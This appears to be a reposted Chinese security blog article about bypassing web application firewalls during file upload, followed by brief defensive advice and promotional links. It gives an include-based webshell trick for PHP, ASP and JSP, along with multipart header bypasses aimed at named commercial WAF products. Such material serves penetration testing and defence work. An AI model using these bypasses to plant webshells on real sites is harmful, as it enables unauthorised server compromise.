本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!
今天就聊聊关于上传绕过WAF的姿势,WAF(Web Application Firewall)简单的来说就是执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。上传绕过不算什么技术了,正所谓未知防,焉知攻,先来了解一下网站的防御措施吧!
一、Bypass Waf
1.一般开发人员防御策略
客户端javascript校验(一般只校验后缀名)服务端校验1>文件头content-type字段校验(image/gif)2>文件内容头校验(GIF89a)3>后缀名黑名单校验4>后缀名白名单校验5>自定义正则校验6>WAF设备校验(根据不同的WAF产品而定)
2.Bypass
2.1 有些waf不会防asp/php/jsp后缀的文件,但是他会检测里面的内容
eg1:
1.先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容
2.然后再上传一个.php的文件,内容为
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
PHP
Include("上传的txt文件路径");
ASP
<!--#include file="上传的txt文件路径" -->
JSP
<jsp:include page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>
访问shell.php就可以执行php代码
尝试修改压缩文件后缀为zip、phar、rar发现都是可以的。
2.2 WTS-WAF Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
2.3 Baidu cloud Bypass
发现百度云目前正在拦截后缀,百度云过上传还跟<?php前面是否有代码还有很大关系,在这里就不要废话了,大家自己去研究一下吧。
Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可。
2.4 阿里云WAF
Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg
Bypass:
Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”
Note:你看的没错,删除Content-Type: image/jpeg即可绕过。
2.5 安全狗上传Bypass(最新版不可绕)
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
Bypass:
Content-Disposition: form-data; name=“image”; filename="085733uykwusqcs8vw8wky.png
C.php"
Note:删掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php".原理就不多说了,自己研究。
2.6 云锁上传Bypass
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
二、Defense
详细说一下Type绕过防御机制,其他的防御机制自己可以下去研究.
1.目录设为不可执行:
只要web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,所以此点至关重要。
2.判断文件类型:
判断文件类型时,应结合MIME-Type、后缀检查等方式、推荐使用白名单的方式。
3.用随机数改写:
文件上传如果要执行代码,则需要用户能访问到这个文件。在某些环境下,用户能上传,但是不能访问。
三、Summary
研究WAF的绕过手段,是为了更好的提升WAF的防御能力。在研究突破的过程中,不要只是仅仅停留在正则表达式、基本漏洞原理,需要对涉及并深入更多的领域,例如HTTP协议理解和PHP、Tomcat对HTTP协议源码分析,MySQL词法分析,和Fuzz的思路等。在此过程中,会有许多乐趣,也会有各方面能力的提升。
作者:南伯基尼
来源:https://blog.csdn.net/weixin_44203158/article/details/107213031
【Hacking黑白红】,一线渗透攻防实战交流公众号
回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;
回复“内网书籍”获取内网学习书籍;
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”;获取内网渗透资料;
回复“护网”;获取护网学习资料 ;
回复“python”,获取python视频教程;
回复“java”,获取Java视频教程;
回复“go”,获取go视频教程
知识星球
【Hacking藏经阁】知识星球致力于分享技术和认知。
1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;
400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)
2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。
如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。
欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。
渗透实战系列 ▶【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战
▶【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)
▶【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透
▶【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP
▶【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站
▶【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)
▶【渗透实战系列】|29-实战|对某勒索APP的Getshell
▶【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)
▶【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程
▶【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法
▶【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)
▶【渗透实战系列】|17-巧用fofa对目标网站进行getshell
▶【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点
▶【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局
▶【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)
▶【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)
▶【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)
▶【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)
点分享
点收藏
点点赞
点在看
原文始发于微信公众号(Hacking黑白红):【waf】常见6种WAF绕过和防护原理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论